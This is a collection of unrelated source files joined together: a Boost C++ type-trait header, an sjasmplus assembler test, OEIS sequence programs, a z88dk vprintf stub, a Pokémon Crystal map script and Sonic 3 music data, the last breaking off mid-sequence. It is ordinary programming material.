// (C) Copyright Edward Diener 2011,2012,2013 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #if !defined(BOOST_TTI_HAS_MEMBER_DATA_HPP) #define BOOST_TTI_HAS_MEMBER_DATA_HPP #include <boost/preprocessor/cat.hpp> #include <boost/tti/detail/ddeftype.hpp> #include <boost/tti/detail/dmem_data.hpp> #include <boost/tti/gen/has_member_data_gen.hpp> #include <boost/tti/gen/namespace_gen.hpp> #include <boost/type_traits/remove_const.hpp> /* The succeeding comments in this file are in doxygen format. */ /** \file */ /// Expands to a metafunction which tests whether a member data with a particular name and type exists. /** trait = the name of the metafunction. name = the name of the inner member to introspect. generates a metafunction called "trait" where 'trait' is the macro parameter. template<class BOOST_TTI_TP_ET,class BOOST_TTI_TP_TYPE> struct trait { static const value = unspecified; typedef mpl::bool_<true-or-false> type; }; The metafunction types and return: BOOST_TTI_TP_ET = the enclosing type in which to look for our 'name' OR The type of the member data in the form of a pointer to member data. BOOST_TTI_TP_TYPE = (optional) The type of the member data if the first parameter is the enclosing type. returns = 'value' is true if the 'name' exists, with the correct data type, otherwise 'value' is false. */ #define BOOST_TTI_TRAIT_HAS_MEMBER_DATA(trait,name) \ BOOST_TTI_DETAIL_TRAIT_HAS_MEMBER_DATA(trait,name) \ template<class BOOST_TTI_TP_ET,class BOOST_TTI_TP_TYPE = BOOST_TTI_NAMESPACE::detail::deftype> \ struct trait : \ BOOST_PP_CAT(trait,_detail_hmd) \ < \ typename BOOST_TTI_NAMESPACE::detail::dmem_get_type<BOOST_TTI_TP_ET,BOOST_TTI_TP_TYPE>::type, \ typename boost::remove_const \ < \ typename BOOST_TTI_NAMESPACE::detail::dmem_get_enclosing<BOOST_TTI_TP_ET,BOOST_TTI_TP_TYPE>::type \ >::type \ > \ { \ }; \ /**/ /// Expands to a metafunction which tests whether a member data with a particular name and type exists. /** name = the name of the inner member. generates a metafunction called "has_member_data_name" where 'name' is the macro parameter. template<class BOOST_TTI_TP_ET,class BOOST_TTI_TP_TYPE> struct has_member_data_name { static const value = unspecified; typedef mpl::bool_<true-or-false> type; }; The metafunction types and return: BOOST_TTI_TP_ET = the enclosing type in which to look for our 'name' OR The type of the member data in the form of a pointer to member data. BOOST_TTI_TP_TYPE = (optional) The type of the member data if the first parameter is the enclosing type. returns = 'value' is true if the 'name' exists, with the correct data type, otherwise 'value' is false. */ #define BOOST_TTI_HAS_MEMBER_DATA(name) \ BOOST_TTI_TRAIT_HAS_MEMBER_DATA \ ( \ BOOST_TTI_HAS_MEMBER_DATA_GEN(name), \ name \ ) \ /**/ #endif // BOOST_TTI_HAS_MEMBER_DATA_HPP
; Test case for device emulation and phase/dephase org #4000 dw #0102 __sjasmplus_phase_pre_1: org #4010 __sjasmplus_phase_post_1: dw #0304 __sjasmplus_dephase_1: org __sjasmplus_phase_pre_1 + (__sjasmplus_dephase_1 - __sjasmplus_phase_post_1) org #4020 dw #0506 org #4030 dw 772 ; this should be #0304 dw 0 ; this should be #0000 db 0 ; this should be #00 dw 1286 ; this should be #0506 db 6 ; this should be #06
; A260316: n/3 if 3 divides n, else n-1. ; 0,0,1,1,3,4,2,6,7,3,9,10,4,12,13,5,15,16,6,18,19,7,21,22,8,24,25,9,27,28,10,30,31,11,33,34,12,36,37,13,39,40,14,42,43,15,45,46,16,48,49,17,51,52,18,54,55,19,57,58,20,60,61,21,63,64,22,66,67,23,69,70,24,72,73,25,75,76,26,78,79,27,81,82,28,84,85,29,87,88,30,90,91,31,93,94,32,96,97,33,99,100,34,102,103,35,105,106,36,108,109,37,111,112,38,114,115,39,117,118,40,120,121,41,123,124,42,126,127,43,129,130,44,132,133,45,135,136,46,138,139,47,141,142,48,144,145,49,147,148,50,150,151,51,153,154,52,156,157,53,159,160,54,162,163,55,165,166,56,168,169,57,171,172,58,174,175,59,177,178,60,180,181,61,183,184,62,186,187,63,189,190,64,192,193,65,195,196,66,198,199,67,201,202,68,204,205,69,207,208,70,210,211,71,213,214,72,216,217,73,219,220,74,222,223,75,225,226,76,228,229,77,231,232,78,234,235,79,237,238,80,240,241,81,243,244,82,246,247,83 mov $1,1 add $1,$0 trn $0,1 lpb $0 add $0,$1 dif $0,6 lpe mov $1,$0
; A048728: Differences between A008585 (multiples of 3) and A048724. ; 0,0,0,4,0,0,8,12,0,0,0,4,16,16,24,28,0,0,0,4,0,0,8,12,32,32,32,36,48,48,56,60,0,0,0,4,0,0,8,12,0,0,0,4,16,16,24,28,64,64,64,68,64,64,72,76,96,96,96,100,112,112,120,124,0,0,0,4,0,0,8,12,0,0,0,4,16,16,24,28,0,0,0,4,0,0,8,12,32,32,32,36,48,48,56,60,128,128,128,132 seq $0,213370 ; a(n) = n AND 2*n, where AND is the bitwise AND operator. mul $0,2
; A005429: Apéry numbers: n^3*C(2n,n). ; 0,2,48,540,4480,31500,199584,1177176,6589440,35443980,184756000,938929992,4672781568,22850118200,110079950400,523521630000,2462025277440,11465007358860,52926189069600,242433164404200,1102772230560000,4984806175188840,22404445765690560,100176151662709200,445790873315174400,1975165725589875000,8716264135095875904,38321608715031788496,167904056067893178880,733310562657306424560,3193143702251258448000,13865576071827483072608,60051427850406806618112,259444599633242541898380,1118318342142855628188960,4809986661389419497897000,20645865079156096770541824,88446751475292474406620296,378211880235096637049611200,1614486105026017380133376400,6880461358933515293543680000,29276578096679574246381281640,124387120102466587094243444160,527731933130983726397440095600,2235952682433442363680521971200,9461273764828304611061280810000,39985185866892269359396784365440,168785169494056610922708909132960,711666931197501728880161930035200,2997415604656838833749332194361400,12611418068195524166851562157000000,53008514206928518306497155683296912,222591722773293461648674127200946688,933834713151016159051664065306145040 mov $1,$0 mul $0,2 bin $0,$1 pow $1,3 mul $0,$1
; int vprintf(const char *format, void *arg) INCLUDE "clib_cfg.asm" SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC vprintf_callee EXTERN asm_vprintf vprintf_callee: pop af pop bc pop de push af jp asm_vprintf ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC vprintf_callee EXTERN vprintf_unlocked_callee defc vprintf_callee = vprintf_unlocked_callee ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; A138986: a(n) = Frobenius number for 6 successive numbers = F(n+1,n+2,n+3,n+4,n+5,n+6). ; 1,2,3,4,5,13,15,17,19,21,35,38,41,44,47,67,71,75,79,83,109,114,119,124,129,161,167,173,179,185,223,230,237,244,251,295,303,311,319,327,377,386,395,404,413,469,479,489,499,509,571,582,593,604,615,683,695,707 mov $1,$0 div $1,5 add $1,1 mov $2,$0 add $2,2 mul $1,$2 sub $1,1
; A204093: Numbers whose set of base 10 digits is {0,6}. ; 0,6,60,66,600,606,660,666,6000,6006,6060,6066,6600,6606,6660,6666,60000,60006,60060,60066,60600,60606,60660,60666,66000,66006,66060,66066,66600,66606,66660,66666,600000,600006,600060,600066,600600,600606,600660,600666,606000,606006,606060,606066,606600,606606,606660,606666,660000,660006,660060,660066,660600,660606,660660,660666,666000,666006,666060,666066,666600,666606,666660,666666,6000000,6000006,6000060,6000066,6000600,6000606,6000660,6000666,6006000,6006006,6006060,6006066,6006600,6006606,6006660,6006666,6060000,6060006,6060060,6060066,6060600,6060606,6060660,6060666,6066000,6066006,6066060,6066066,6066600,6066606,6066660,6066666,6600000,6600006,6600060,6600066,6600600,6600606,6600660,6600666,6606000,6606006,6606060,6606066,6606600,6606606,6606660,6606666,6660000,6660006,6660060,6660066,6660600,6660606,6660660,6660666,6666000,6666006,6666060,6666066,6666600,6666606,6666660,6666666,60000000,60000006,60000060,60000066,60000600,60000606,60000660,60000666,60006000,60006006,60006060,60006066,60006600,60006606,60006660,60006666,60060000,60060006,60060060,60060066,60060600,60060606,60060660,60060666,60066000,60066006,60066060,60066066,60066600,60066606,60066660,60066666,60600000,60600006,60600060,60600066,60600600,60600606,60600660,60600666,60606000,60606006,60606060,60606066,60606600,60606606,60606660,60606666,60660000,60660006,60660060,60660066,60660600,60660606,60660660,60660666,60666000,60666006,60666060,60666066,60666600,60666606,60666660,60666666,66000000,66000006,66000060,66000066,66000600,66000606,66000660,66000666,66006000,66006006,66006060,66006066,66006600,66006606,66006660,66006666,66060000,66060006,66060060,66060066,66060600,66060606,66060660,66060666,66066000,66066006,66066060,66066066,66066600,66066606,66066660,66066666,66600000,66600006,66600060,66600066,66600600,66600606,66600660,66600666,66606000,66606006,66606060,66606066,66606600,66606606,66606660,66606666,66660000,66660006,66660060,66660066,66660600,66660606,66660660,66660666,66666000,66666006 cal $0,99820 ; Even nonnegative integers in base 2 (bisection of A007088). mov $1,$0 div $1,10 mul $1,6
object_const_def ; object_event constants const LAKEOFRAGEHIDDENPOWERHOUSE_FISHER LakeOfRageHiddenPowerHouse_MapScripts: db 0 ; scene scripts db 0 ; callbacks HiddenPowerGuy: faceplayer opentext checkevent EVENT_GOT_TM10_HIDDEN_POWER iftrue .AlreadyGotItem writetext HiddenPowerGuyText1 buttonsound verbosegivetmhm TM_HIDDEN_POWER iffalse .Done setevent EVENT_GOT_TM10_HIDDEN_POWER writetext HiddenPowerGuyText2 waitbutton closetext end .AlreadyGotItem: writetext HiddenPowerGuyText3 waitbutton .Done: closetext end HiddenPowerHouseBookshelf: jumpstd difficultbookshelf HiddenPowerGuyText1: text "…You have strayed" line "far…" para "Here I have medi-" line "tated. Inside me," para "a new power has" line "been awakened." para "Let me share my" line "power with your" para "#MON." line "Take this, child." done HiddenPowerGuyText2: text "Do you see it? It" line "is HIDDEN POWER!" para "It draws out the" line "power of #MON" cont "for attacking." para "Remember this: its" line "type and power de-" cont "pend on the #-" cont "MON using it." done HiddenPowerGuyText3: text "I am meditating…" done LakeOfRageHiddenPowerHouse_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 2, 7, LAKE_OF_RAGE, 1 warp_event 3, 7, LAKE_OF_RAGE, 1 db 0 ; coord events db 2 ; bg events bg_event 0, 1, BGEVENT_READ, HiddenPowerHouseBookshelf bg_event 1, 1, BGEVENT_READ, HiddenPowerHouseBookshelf db 1 ; object events object_event 2, 3, SPRITE_FISHER, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, HiddenPowerGuy, -1
SSZ_Header: sHeaderInit ; Z80 offset is $E642 sHeaderPatch SSZ_Patches sHeaderCh $06, $03 sHeaderTempo $01, $15 sHeaderDAC SSZ_DAC sHeaderFM SSZ_FM1, $0C, $12 sHeaderFM SSZ_FM2, $18, $17 sHeaderFM SSZ_FM3, $0C, $12 sHeaderFM SSZ_FM4, $00, $14 sHeaderFM SSZ_FM5, $00, $14 sHeaderPSG SSZ_PSG1, $00, $06, $00, v0C sHeaderPSG SSZ_PSG2, $00, $06, $00, v0C sHeaderPSG SSZ_PSG3, $00, $02, $00, v0C dc.b $F2, $F2 ; Unused SSZ_DAC: dc.b nRst, $32, nRst, $4D, nRst, $32, nRst, $4D dc.b nRst, $46, dKick, $18, dKick, dSnare, $06, dSnare dc.b $0C, dSnare, $06, dSnare, $18, dKick, $04, dKick dc.b $02, dKick, $06, dKick, $0C, dKick, $18, dSnare dc.b $06, dSnare, dSnare, dSnare, dSnare, $18, dKick, $06 dc.b dKick, dKick, $0C, dKick, $24, dSnare, $06, dSnare dc.b dSnare, $24, dKick, $0C, dKick, $24, dSnare, $06 dc.b dSnare, dSnare, $18, dKick, $06, dKick, dSnare, dFloorTom dc.b dFloorTom, dFloorTom, dFloorTom, dLowTom, dMidTom, $0C, dSnare, $06 dc.b dSnare, dSnare, $18, dKick, $04, dKick, $02, dKick dc.b $06, dKick, $0C, dKick, $18, dSnare, $06, dSnare dc.b dSnare, dSnare, dSnare, $18, dKick, $06, dKick, dKick dc.b $0C, dKick, $24, dSnare, $06, dSnare, dSnare, $24 dc.b dKick, $0C, dKick, $24, dSnare, $06, dSnare, dSnare dc.b $18, dKick, $06, dKick, dSnare, dFloorTom, dFloorTom, dFloorTom dc.b dFloorTom, dLowTom, dMidTom, $0C, dSnare, $06, dSnare, dSnare dc.b $18, dKick, $04, dKick, $02, dKick, $06, dKick dc.b $0C, dKick, $18, dSnare, $06, dSnare, dSnare, dSnare dc.b dSnare, $18, dKick, $06, dKick, dKick, $0C, dKick dc.b $24, dSnare, $06, dSnare, dSnare, $24, dKick, $0C dc.b dKick, $24, dSnare, $06, dSnare, dSnare, $18, dKick dc.b $06, dKick, dSnare, dFloorTom, dFloorTom, dFloorTom, dFloorTom, dLowTom dc.b dMidTom, $0C, dSnare, $06, dSnare, dSnare, $18, dKick dc.b $04, dKick, $02, dKick, $06, dKick, $0C, dKick dc.b $18, dSnare, $06, dSnare, dSnare, dSnare, dSnare, $18 dc.b dKick, $06, dKick, dKick, $0C, dKick, $24, dSnare dc.b $06, dSnare, dSnare, $24, dKick, $0C, dKick, $24 dc.b dSnare, $06, dSnare, dSnare, $18, dKick, $06, dKick dc.b dSnare, dFloorTom, dFloorTom, dFloorTom, dFloorTom, dLowTom, dMidTom, $0C dc.b dSnare, $06, dSnare, dSnare, $18, dKick, $04, dKick dc.b $02, dKick, $06, dKick, $0C, dKick, $18, dSnare dc.b $06, dSnare, dSnare, dSnare, dSnare, $18, dKick, $06 dc.b dKick, dKick, $0C, dKick, $24, dSnare, $06, dSnare dc.b dSnare, $24, dKick, $0C, dKick, $24, dSnare, $06 dc.b dSnare, dSnare, $18, dKick, $06, dKick, dSnare, dFloorTom dc.b dFloorTom, dFloorTom, dFloorTom, dLowTom, dMidTom, $0C, dSnare, $06 dc.b dSnare, dSnare, $18, dKick, $04, dKick, $02, dKick dc.b $06, dKick, $0C, dKick, $18, dSnare, $06, dSnare dc.b dSnare, dSnare, dSnare, $18, dKick, $06, dKick, dKick dc.b $0C, dKick, $24, dSnare, $06, dSnare, dSnare, $24 dc.b dKick, $0C, dKick, $24, dSnare, $06, dSnare, dSnare dc.b $18, dKick, $06, dKick, dSnare, dFloorTom, dFloorTom, dFloorTom dc.b dFloorTom, dLowTom, dMidTom, $0C, dSnare, $06, dSnare, dSnare dc.b $18, dKick, $04, dKick, $02, dKick, $06, dKick dc.b $0C, dKick, $18, dSnare, $06, dSnare, dSnare, dSnare dc.b dSnare, $18, dKick, $06, dKick, dKick, $0C, dKick dc.b $24, dSnare, $06, dSnare, dSnare, $24, dKick, $0C dc.b dKick, $24, dSnare, $06, dSnare, dSnare, $18, dKick dc.b $06, dKick, dSnare, dFloorTom, dFloorTom, dFloorTom, dFloorTom, dLowTom dc.b dMidTom, $0C, dSnare, $06, dSnare, dSnare, $18, dKick dc.b $04, dKick, $02, dKick, $06, dKick, $0C, dKick dc.b $18, dSnare, $06, dSnare, dSnare, dSnare, dSnare, $18 dc.b dKick, $06, dKick, dKick, $0C, dKick, $24, dSnare dc.b $06, dSnare, dSnare, $24, dKick, $0C, dKick, $24 dc.b dSnare, $06, dSnare, dSnare, $18, dKick, $06, dKick dc.b dSnare, dFloorTom, dFloorTom, dFloorTom, dFloorTom, dLowTom, dMidTom, $0C sJump SSZ_DAC dc.b $F2 ; Unused SSZ_FM3: sPatFM $15 ssDetune $04 ssModZ80 $0F, $01, $FD, $07 sPan spLeft sJump SSZ_Jump1 SSZ_FM1: sPatFM $15 ssDetune $FC ssModZ80 $0F, $01, $00, $07 sPan spCenter SSZ_Jump1: dc.b nG1, $04, nRst, $08, nG1, $06, nRst, nG1 dc.b $24, nG2, nG1, $1C, nRst, $08, nG1, $0E dc.b nRst, $0A, nC2, $18, nB1, $0A, nRst, $02 dc.b nG1, $04, nRst, $08, nG1, $06, nRst, nG1 dc.b $24, nG2, nG1, $1C, nRst, $08, nG1, $0A dc.b nRst, $0E, nG1, $0A, nRst, $1A, nC2, $06 dc.b nRst, nC2, $52, nRst, $02, nC3, $22, nRst dc.b $02, nC2, $1E, nRst, $06, nC2, $14, nRst dc.b $04, nBb1, $08, nRst, $04, nBb1, $52, nRst dc.b $02, nBb2, $24, nBb1, nBb2, $16, nRst, $02 dc.b nA1, $06, nRst, nA1, $48, nG2, $06, nAb2 dc.b $04, nRst, $02, nA2, $22, nRst, $02, nA1 dc.b $24, nA2, $18, nAb1, $08, nRst, $04, nAb1 dc.b $52, nRst, $02, nAb2, $24, nAb1, nAb2, $16 dc.b nRst, $02, nC2, $08, nRst, $04, nC2, $52 dc.b nRst, $02, nC3, $24, nC2, nC3, $18, nBb1 dc.b $06, nRst, nBb1, $42, nRst, $06, nG2, nA2 dc.b nBb2, $22, nRst, $02, nA2, $24, nF2, $16 dc.b nRst, $02, nA1, $06, nRst, nA1, $48, nG2 dc.b $06, nAb2, $04, nRst, $02, nA2, $22, nRst dc.b $02, nA1, $24, nA2, $18, nAb1, $06, nRst dc.b nAb1, $4E, nRst, $06, nBb1, nRst, nBb1, $4E dc.b nRst, $06, nG1, $48, nG2, $06, nRst, nG2 dc.b $46, nRst, $02, nG1, $18, nG2, $0C, nAb1 dc.b $46, nRst, $02, nAb2, $08, nRst, $04, nAb2 dc.b $46, nRst, $02, nAb1, $0C, nAb2, nAb1, $0A dc.b nRst, $02, nG1, $68, nRst, $04, nG2, $18 dc.b nG1, $24, nG2, $18, nAb1, $3C, nAb2, $22 dc.b nRst, $02, nBb1, $3C, nBb2, $24, nC2, $5A dc.b nRst, $06, nC3, $24, nC2, nC3, $18, nBb1 dc.b $06, nRst, nBb1, $42, nRst, $06, nG2, nA2 dc.b nBb2, $22, nRst, $02, nA2, $24, nF2, $16 dc.b nRst, $02, nA1, $06, nRst, nA1, $48, nG2 dc.b $06, nAb2, $04, nRst, $02, nA2, $22, nRst dc.b $02, nA1, $24, nA2, $18, nAb1, $06, nRst dc.b nAb1, $4E, nRst, $06, nBb1, nRst, nBb1, $4E dc.b nRst, $06 sJump SSZ_Jump1 dc.b $F2 ; Unused SSZ_FM2: saVolFM $08 sPatFM $08 sJump SSZ_Jump2 SSZ_Jump4: dc.b nG4, $06, nF4, $04, nRst, $02, nB3, $06 dc.b nC4, $04, nRst, $02, nG4, $06, nF4, nB3 dc.b $04, nRst, $02, nC4, $06, nG4, nF4, $04 dc.b nRst, $02, nB3, $06, nC4, $04, nRst, $02 dc.b nG4, $06, nF4, nB3, $04, nRst, $02, nC4 dc.b $06, nG4, nF4, $04, nRst, $02, nB3, $06 dc.b nC4, $04, nRst, $02, nG4, $06, nF4, nB3 dc.b $04, nRst, $02, nC4, $06, nG4, nF4, $04 dc.b nRst, $02, nB3, $06, nC4, $04, nRst, $02 dc.b nG4, $06, nF4, nB3, $04, nRst, $02, nC4 dc.b $06, nG4, nF4, $04, nRst, $02, nB3, $06 dc.b nC4, $04, nRst, $02, nG4, $06, nF4, nB3 dc.b $04, nRst, $02, nC4, $06, nG4, nF4, $04 dc.b nRst, $02, nB3, $06, nC4, $04, nRst, $02 dc.b nG4, $06, nF4, nB3, $04, nRst, $02, nC4 dc.b $06, nG4, nF4, $04, nRst, $02, nB3, $06 dc.b nC4, $04, nRst, $02, nG4, $06, nF4, nB3 dc.b $02, nRst, $16, nB3, $02, nRst, $22, nC5 dc.b $06, nC4, $04, nRst, $02, nC5, $06, nC4 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $04, nRst, $02, nC6, $04, nRst, $02 dc.b nC4, $06, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC5, $04, nRst, $02 dc.b nC4, $06, nC5, nC4, nC5, nC4, nC6, $04 dc.b nRst, $02, nC4, $06, nC6, nC4, nC5, nC4 dc.b nC5, nC4, nC5, nC4, $04, nRst, $02, nC5 dc.b $06, nC4, nC5, nC4, nC5, nC4, nC6, $04 dc.b nRst, $02, nC4, $04, nRst, $02, nC6, $04 dc.b nRst, $02, nC4, $06, nC5, $04, nRst, $02 dc.b nC4, $06, nC5, nC4, nC5, nC4, nC5, $04 dc.b nRst, $02, nC4, $06, nC5, nC4, nC5, nC4 dc.b nC6, $04, nRst, $02, nC4, $06, nC6, nC4 dc.b nC5, nC4, nC5, nC4, nC5, nC4, $04, nRst dc.b $02, nC5, $06, nC4, nC5, nC4, nC5, nC4 dc.b nC6, $04, nRst, $02, nC4, $04, nRst, $02 dc.b nC6, $04, nRst, $02, nC4, $06, nC5, $04 dc.b nRst, $02, nC4, $06, nC5, nC4, nC5, nC4 dc.b nC5, $04, nRst, $02, nC4, $06, nC5, nC4 dc.b nC5, nC4, nC6, $04, nRst, $02, nC4, $06 dc.b nC6, nC4, nC5, nC4, nC5, nC4, nC5, nC4 dc.b $04, nRst, $02, nC5, $06, nC4, nC5, nC4 dc.b nC5, nC4, nC6, $04, nRst, $02, nC4, $04 dc.b nRst, $02, nC6, $04, nRst, $02, nC4, $06 dc.b nC5, $04, nRst, $02, nC4, $06, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, $04, nRst, $02, nC5, $06, nC4 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $04, nRst, $02, nC6, $04, nRst, $02 dc.b nC4, $06, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC5, $04, nRst, $02 dc.b nC4, $06, nC5, nC4, nC5, nC4, nC6, $04 dc.b nRst, $02, nC4, $06, nC6, nC4, nC5, nC4 dc.b nC5, nC4, nC5, nC4, $04, nRst, $02, nC5 dc.b $06, nC4, nC5, nC4, nC5, nC4, nC6, $04 dc.b nRst, $02, nC4, $04, nRst, $02, nC6, $04 dc.b nRst, $02, nC4, $06, nC5, $04, nRst, $02 dc.b nC4, $06, nC5, nC4, nC5, nC4, nC5, $04 dc.b nRst, $02, nC4, $06, nC5, nC4, nC5, nC4 dc.b nC6, $04, nRst, $02, nC4, $06, nC6, nC4 dc.b nC5, nC4, nC5, nC4, nC5, nC4, $04, nRst dc.b $02, nC5, $06, nC4, nC5, nC4, nC5, nC4 dc.b nC6, $04, nRst, $02, nC4, $04, nRst, $02 dc.b nC6, $04, nRst, $02, nC4, $06, nC5, $04 dc.b nRst, $02, nC4, $06, nC5, nC4, nC5, nC4 dc.b nC5, $04, nRst, $02, nC4, $06, nC5, nC4 dc.b nC5, nC4, nC6, $04, nRst, $02, nC4, $06 dc.b nC6, nC4, nC5, nC4, nC5, nC4, nC5, nC4 dc.b $04, nRst, $02, nC5, $06, nC4, nC5, nC4 dc.b nC5, nC4, nC6, $04, nRst, $02, nC4, $04 dc.b nRst, $02, nC6, $04, nRst, $02, nC4, $06 dc.b nC5, $04, nRst, $02, nC4, $06, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nG5, nG4, nG5, $04, nRst, $02, nG4, $06 dc.b nG5, nG4, nG5, nG4, nG6, $04, nRst, $02 dc.b nG4, $06, nG6, nG4, nG5, nG4, nG5, nG4 dc.b nG5, nG4, nG5, $04, nRst, $02, nG4, $06 dc.b nG5, nG4, nG5, nG4, nG6, $04, nRst, $02 dc.b nG4, $06, nG6, nG4, nG5, nG4, nG5, nG4 dc.b nAb5, nAb4, nAb5, $04, nRst, $02, nAb4, $06 dc.b nAb5, nAb4, nAb5, nAb4, nAb6, $04, nRst, $02 dc.b nAb4, $06, nAb6, nAb4, nAb5, nAb4, nAb5, nAb4 dc.b nAb5, nAb4, nAb5, $04, nRst, $02, nAb4, $06 dc.b nAb5, nAb4, nAb5, nAb4, nAb6, $04, nRst, $02 dc.b nAb4, $06, nAb6, nAb4, nAb5, nAb4, nAb5, nAb4 dc.b nG5, nG4, nG5, $04, nRst, $02, nG4, $06 dc.b nG5, nG4, nG5, nG4, nG6, $04, nRst, $02 dc.b nG4, $06, nG6, nG4, nG5, nG4, nG5, nG4 dc.b nG5, nG4, nG5, $04, nRst, $02, nG4, $06 dc.b nG5, nG4, nG5, nG4, nG6, $04, nRst, $02 dc.b nG4, $06, nG6, nG4, nG5, nG4, nG5, nG4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 dc.b nC5, nC4, nC5, $04, nRst, $02, nC4, $06 dc.b nC5, nC4, nC5, nC4, nC6, $04, nRst, $02 dc.b nC4, $06, nC6, nC4, nC5, nC4, nC5, nC4 sJump SSZ_Jump4 dc.b $F2 ; Unused SSZ_PSG1: sVolEnvPSG v02 ssDetune $00 dc.b nRst, $01 sJump SSZ_Jump4 SSZ_PSG2: sVolEnvPSG v02 ssDetune $FF sJump SSZ_Jump4 SSZ_Jump2: dc.b nF4, $12, nE4, nC4, $0C, nC5, $12, nB4 dc.b $10, nRst, $02, nG4, $0C, nF4, $12, nE4 dc.b nC4, $0C, nC5, $12, nB4, $10, nRst, $02 dc.b nG4, $0C, nF4, $12, nE4, nC4, $0C, nC5 dc.b $12, nB4, $10, nRst, $02, nG4, $0C, nF4 dc.b $12, nE4, nC4, $0A, nRst, $0E, nC4, $0A dc.b nRst, $1A, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, nRst, $04, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $04, nRst, $02, nE2 dc.b $04, nRst, $02, nC2, $06, nF2, $04, nRst dc.b $02, nC2, $06, nE2, $04, nRst, $02, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $06, nE2 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, nRst, $04, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $04, nRst dc.b $02, nE2, $04, nRst, $02, nC2, $06, nF2 dc.b $04, nRst, $02, nC2, $06, nE2, $04, nRst dc.b $02, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $06, nE2, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, nRst dc.b $04, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $04, nRst, $02, nE2, $04, nRst, $02, nC2 dc.b $06, nF2, $04, nRst, $02, nC2, $06, nE2 dc.b $04, nRst, $02, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $06, nE2, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, nRst, $04, nC2, $06, nD2, $04, nRst dc.b $02, nC2, $04, nRst, $02, nE2, $04, nRst dc.b $02, nC2, $06, nF2, $04, nRst, $02, nC2 dc.b $06, nE2, $04, nRst, $02, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $06, nE2, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, nRst, $04, nC2, $06, nD2 dc.b $04, nRst, $02, nC2, $04, nRst, $02, nE2 dc.b $04, nRst, $02, nC2, $06, nF2, $04, nRst dc.b $02, nC2, $06, nE2, $04, nRst, $02, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $06, nE2 dc.b nC2, $04, nRst, $02, nC2, $04, nRst, $02 dc.b nC2, $04, nRst, $02, nC2, nRst, $04, nC2 dc.b $06, nD2, $04, nRst, $02, nC2, $04, nRst dc.b $02, nE2, $04, nRst, $02, nC2, $06, nF2 dc.b $04, nRst, $02, nC2, $06, nE2, $04, nRst dc.b $02, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b $06, nE2, nC2, $04, nRst, $02, nC2, $04 dc.b nRst, $02, nC2, $04, nRst, $02, nC2, nRst dc.b $04, nC2, $06, nD2, $04, nRst, $02, nC2 dc.b 